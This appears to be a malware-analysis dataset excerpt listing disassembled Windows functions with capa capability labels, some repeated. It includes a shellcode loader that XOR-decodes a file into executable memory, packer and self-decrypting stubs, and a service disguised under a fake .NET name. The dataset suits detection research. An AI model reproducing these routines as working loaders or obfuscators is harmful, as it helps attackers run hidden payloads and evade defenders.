joyce8/EMBER2024-capa huggingface dataset:
Function at 0x420b4b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x420b8a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420b8a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420b8a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x420b8a
cmp dword [ecx + 0x74], 0xe
jbe 0x420b8a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433300
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43332d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43332d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x42760b
Capabilities:
Terminate process

Disassembly:
call fcn.00427618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x407020
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push ebx
sub esp, 0x124
mov ebx, dword [esp + 0x130]
call sub.msvcrt.dll__errno
mov dword [eax], 0
test ebx, ebx
je 0x407227
cmp byte [ebx], 0
je 0x4071f3
mov dword [esp], ebx
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0xffffffff
je 0x407218
test al, 0x10
je 0x4071f3
mov dword [esp + 4], ebx
mov eax, 0x104
lea esi, [esp + 0x10]
mov dword [esp + 8], eax
mov dword [esp], esi
call sub.msvcrt.dll__fullpath
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov ebx, dword [ecx]
add ecx, 4
lea edx, [ebx - 0x1010101]
not ebx
and edx, ebx
mov eax, edx
and eax, 0x80808080
je 0x407090
and edx, 0x8080
jne 0x4070b6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
lea edx, [ecx + 0x233]
mov dword [esp], edx
call sub.msvcrt.dll_malloc
test eax, eax
mov ebx, eax
je 0x407209
mov dword [esp + 4], esi
lea esi, [eax + 0x22c]
mov dword [esp], esi
call sub.ntdll.dll_strcpy
cmp byte [ebx + 0x22c], 0
je 0x407190
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x407100
and edx, 0x8080
jne 0x407126
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
cmp byte [ebx + ecx + 0x22b], 0x2f
je 0x407190
mov ecx, esi
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x407140
and edx, 0x8080
jne 0x407166
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
cmp byte [ebx + ecx + 0x22b], 0x5c
je 0x407190
mov dword [esp], esi
call sub.ntdll.dll_strlen
mov word [eax + esi], 0x5c
lea esi, [esi]
lea edi, [edi]
mov dword [esp], esi
call sub.ntdll.dll_strlen
mov word [eax + esi], 0x2a
mov eax, 0xffffffff
xor edx, edx
mov dword [ebx + 0x224], eax
xor ecx, ecx
xor esi, esi
mov dword [ebx + 0x228], edx
xor eax, eax
mov edx, 0x104
mov dword [ebx + 0x118], ecx
xor ecx, ecx
mov word [ebx + 0x11c], si
lea esi, [ebx + 0x120]
mov word [ebx + 0x11e], ax
mov dword [esp], esi
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
call sub.ntdll.dll_memset
add esp, 0x124
mov eax, ebx
pop ebx
pop esi
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x14
xor eax, eax
add esp, 0x124
pop ebx
pop esi
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0xc
xor eax, eax
jmp 0x407200
call sub.msvcrt.dll__errno
mov dword [eax], 2
xor eax, eax
jmp 0x407200
call sub.msvcrt.dll__errno
mov dword [eax], 0xe
xor eax, eax
jmp 0x407200

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x536d60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x131000]
push edi
jmp 0x536d7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x536d81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x536d70
mov eax, 1
add ebx, ebx
jne 0x536d93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x536da4
jne 0x536dc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x536dc3
dec eax
add ebx, ebx
jne 0x536db0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x536d88
add ebx, ebx
jne 0x536dbf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x536e15
xor ecx, ecx
sub eax, 3
jb 0x536ddb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x536e4a
sar eax, 1
mov ebp, eax
jmp 0x536de6
add ebx, ebx
jne 0x536de6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x536db4
inc ecx
add ebx, ebx
jne 0x536df4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x536db4
add ebx, ebx
jne 0x536e01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x536df6
jne 0x536e12
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x536df6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x536e34
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x536e26
jmp 0x536d76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x536e34
add edi, ecx
jmp 0x536d76
pop esi
mov edi, esi
mov ecx, 0x253
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x536e52
cmp byte [edi], 1
jne 0x536e52
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x536e57
lea edi, [esi + 0x134000]
mov eax, dword [edi]
or eax, eax
je 0x536ecf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13aa4c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x13ab00]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x536e84
mov ecx, edi
jns 0x536eb3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x13ab04]
or eax, eax
je 0x536ec9
mov dword [ebx], eax
add ebx, 4
jmp 0x536ea1
call dword [esi + 0x13ab14]
mov ebp, dword [esi + 0x13ab08]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x536f03
sub esp, 0xffffff80
jmp 0x4033e9
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x9e5f40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x9e5f8c
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x9e5f52
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x9e5ff0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x9e6042
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x9e6048
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0x9fe535
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.009fe1f5

Function at 0xa03331
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a031b0

Function at 0xa088e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xa0890d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xa0890d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x93009c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x9300a2
pop ebp
sub ebp, 6
sub ebp, 0x53009c
jmp 0x930100
jmp 0x930109
mov eax, 0x53009c
add eax, ebp
add eax, 0x93
mov ecx, 0x62e
mov edx, 0x63cf1c59
xor byte [eax], dl
inc eax
dec ecx
jne 0x930120
jmp 0x930133
xor ebx, dword [ecx]
xor dword [ecx + 0x49], ebx
pop ecx
pop ecx
xor dword [ecx - 0x6b], ebx
jne 0x930198
fsubr dword [ecx - 0xc1de84d]
fsubr dword [ecx - 0xc1de84d]
push 0xffffffffffffff99
or dword [esi + 0x101821cc], esp
pop ecx
or edx, edx
xchg esp, eax
rcl al, cl
pop ecx
pop ecx
pop ecx
fcomp dword [eax + 0x595959a1]
pop edx
xchg esp, eax
loope 0x9301c6
pop ecx
pop ecx
pop ecx
jecxz 0x9301dd
pop ecx
pop ecx
pop ecx
scasb al, byte es:[edi]
mov ebx, 0xd8d2915a
push ebp
pop ecx
pop ecx
pop ecx
pop edx
pushfd
or dword [ecx], esi
xchg ebp, eax
insb byte es:[edi], dx
push eax
pop ecx
xor dword [ecx + 0x58591093], ecx
jne 0x930206
xor dword [ecx + 0x59], ebx
pop ecx
pop ecx
mov cl, 0x5c
pop ecx
pop ecx
pop ecx
mov al, 0x71
pop ecx
pop ecx
pop ecx
or al, 0xd2
mov ch, 0xd2
fcom qword [ecx + 0x59]
pop ecx
pop ecx
ror ah, cl
push ebp
pop ecx
pop ecx
pop ecx
rcl ah, cl
dec ecx
pop ecx
pop ecx
pop ecx
cwde
mov al, 0x5b
push 0x5d9bda5b
adc byte [esi - 0x24], dl
lodsd eax, dword [esi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
add al, 0x9b
push ebp
pop ecx
rcl ch, cl
jge 0x930221
pop ecx
pop ecx
pop ecx
xor dword [ebp + 0x3159506c], edx
mov dword [ebx + 0x75585910], edx
jge 0x9301dd
mov cl, 0x5c
pop ecx
pop ecx
pop ecx
mov al, 0x66
pop ebx
pop ecx
pop ecx
or al, 0xd
add al, 0xa6
sub al, 0x55
cmpsb byte [esi], byte es:[edi]
sub al, 0x51
mov cl, 0x2b
pop ecx
pop ecx
pop ecx
shl ah, cl
push ecx
pop ecx
pop ecx
pop ecx
fsubr dword [eax - 0x3379d834]
fsubr dword [eax - 0x3379d834]
push 0xffffffffffffff90
push 0xffffffffffffff8b
fidiv dword [ecx - 0x22a9eea4]
adc dword [esi - 0x23], edx
pop ss
pop ecx
pop ecx
pop ecx
push esi
rcl dword [ecx]
pop ecx
pop ecx
pop ecx
aas
rol byte [ebp + 0x60], cl
fldenv [edx + 0x43dd56b1]
pop ecx
pop ecx
pop ecx
fldenv [edx + 0x48dd56b0]
mov byte [0x48dd56b0], al
pop ecx
pop ecx
pop ecx
aas
fsub dword [edx - 0x22a9835a]
dec esp
pop ecx
pop ecx
pop ecx
sbb byte [eax - 0x5959596b], dh
jo 0x930251
pushal
pop eax
ficomp dword [eax + 0x5db1da5c]
mov al, 0xe4
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
jo 0x930258
pushal
pop ebx
ficomp dword [eax + 0x5db3da5f]
mov bl, 0x5d
fidiv dword [ecx - 0x590d4fa4]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
add al, 0x9b
push ebp
pop ecx
or al, 0xd2
mov ch, 0xf
push cs
or al, 0xd2
sub al, 0x55
shl byte [ecx + edx*2], cl
movsd dword es:[edi], dword [esi]
jmp 0x930247
Function at 0x50c240
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xbf000]
lea eax, [edi + 0xf66bc]
push dword [eax]
mov dword [eax], 0xe10964e
push eax
push edi
jmp 0x50c26a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50c271
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50c260
mov eax, 1
add ebx, ebx
jne 0x50c283
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50c294
jne 0x50c2b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50c2b3
dec eax
add ebx, ebx
jne 0x50c2a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x50c278
add ebx, ebx
jne 0x50c2af
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x50c305
xor ecx, ecx
sub eax, 3
jb 0x50c2cb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50c33a
sar eax, 1
mov ebp, eax
jmp 0x50c2d6
add ebx, ebx
jne 0x50c2d6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50c2a4
inc ecx
add ebx, ebx
jne 0x50c2e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50c2a4
add ebx, ebx
jne 0x50c2f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50c2e6
jne 0x50c302
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50c2e6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50c324
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50c316
jmp 0x50c266
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50c324
add edi, ecx
jmp 0x50c266
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x5345
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x50c346
cmp byte [edi], 0x21
jne 0x50c346
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x50c34b
lea edi, [esi + 0x105000]
mov eax, dword [edi]
or eax, eax
je 0x50c3c3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x10c1dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x10c294]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50c378
mov ecx, edi
jns 0x50c3a7
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x10c29c]
or eax, eax
je 0x50c3bd
mov dword [ebx], eax
add ebx, 4
jmp 0x50c395
call dword [esi + 0x10c298]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x50c3f4
cmp al, 0xef
ja 0x50c3e7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x50c3c9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x50c3d6
mov ebp, dword [esi + 0x10c2a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50c428
sub esp, 0xffffff80
jmp 0x438370
Function at 0x10024440
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x100245d3
pushal
mov esi, 0x1001c015
lea edi, [esi - 0x1b015]
push edi
jmp 0x1002446a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10024471
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10024460
mov eax, 1
add ebx, ebx
jne 0x10024483
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10024478
jne 0x10024494
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10024478
xor ecx, ecx
sub eax, 3
jb 0x100244a8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1002451a
mov ebp, eax
add ebx, ebx
jne 0x100244b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x100244c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x100244e4
inc ecx
add ebx, ebx
jne 0x100244d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x100244c5
jne 0x100244e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x100244c5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10024504
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x100244f5
jmp 0x10024466
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10024504
add edi, ecx
jmp 0x10024466
pop esi
mov edi, esi
mov ecx, 0x278
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x10024522
cmp byte [edi], 5
jne 0x10024522
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x10024527
lea edi, [esi + 0x22000]
mov eax, dword [edi]
or eax, eax
je 0x10024596
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x24000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x24028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10024554
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2402c]
or eax, eax
je 0x10024590
mov dword [ebx], eax
add ebx, 4
jmp 0x10024571
popal
xor eax, eax
ret 0xc
mov ebp, dword [esi + 0x24030]
